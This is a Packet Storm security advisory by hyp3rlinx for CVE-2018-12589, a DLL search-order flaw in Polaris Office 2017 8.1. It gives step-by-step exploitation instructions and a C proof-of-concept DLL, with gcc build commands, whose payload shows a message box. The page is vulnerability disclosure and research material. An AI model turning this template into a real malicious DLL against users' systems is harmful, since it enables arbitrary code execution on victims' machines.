exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Polaris Office 2017 8.1 Remote Code Execution

Polaris Office 2017 8.1 Remote Code Execution
Posted Jun 26, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Polaris Office 2017 version 8.1 allows attackers to execute arbitrary code via a trojan horse "puiframeworkproresenu.dll" file in the current working directory, due to a search order flaw vulnerability.

tags | exploit, arbitrary, trojan
advisories | CVE-2018-12589
SHA-256 | 988220d8a0264edc45ec0aa0ac0b56815a4ed2982e90beeed521161d2f094034

Polaris Office 2017 8.1 Remote Code Execution

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/POLARISOFFICE-2017-v8-REMOTE-CODE-EXECUTION.txt
[+] ISR: Apparition Security


Vendor:
=============
www.polarisoffice.com


Product:
===========
PolarisOffice 2017 v8

Polaris Document Solution is an integrated solution for corporate document life cycle from document creation, use, management, security, and collaboration.

Used by more than 70 million subscribers in 240 countries.


Vulnerability Type:
===================
Remote Code Execution


CVE Reference:
==============
CVE-2018-12589


Security Issue:
================
Polaris Office 2017 8.1 allows attackers to execute arbitrary code via a Trojan horse "puiframeworkproresenu.dll" file
in the current working directory, due to a search order flaw vulnerability.

1) create a 32bit DLL named "puiframeworkproresenu.dll"
2) put any .PDF or .PPTX file or whatever that is configured to open in Polaris Office in same directory as the above DLL
3) open the document (PDF etc) then BOOM our arbitrary DLL will execute on victims system.

This can be observed as well with both the DLL and a document opened from a remote share.



Exploit/POC:
=============

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 puiframeworkproresenu.c
gcc -shared -m32 -o puiframeworkproresenu.dll puiframeworkproresenu.o
*/

void trojanizer(){
MessageBox( 0, "Continue with PWNAGE?" , "philbin :)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
switch(fdwReason){
case DLL_PROCESS_ATTACH:{
trojanizer();
break;
}
case DLL_PROCESS_DETACH:{
trojanizer();
break;
}
case DLL_THREAD_ATTACH:{
trojanizer();
break;
}
case DLL_THREAD_DETACH:{
trojanizer();
break;
}
}

return TRUE;
}




Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: June 14, 2018
Vendor confirms vulnerability : June 19, 2018
Mitre assigned CVE : June 20, 2018
Vendor replied fix will be in July
however, update was released : June 23, 2018
Notified vendor of impending advisory : June 23, 2018
Vendor : "glad to hear that your problem has been solved"
June 26, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close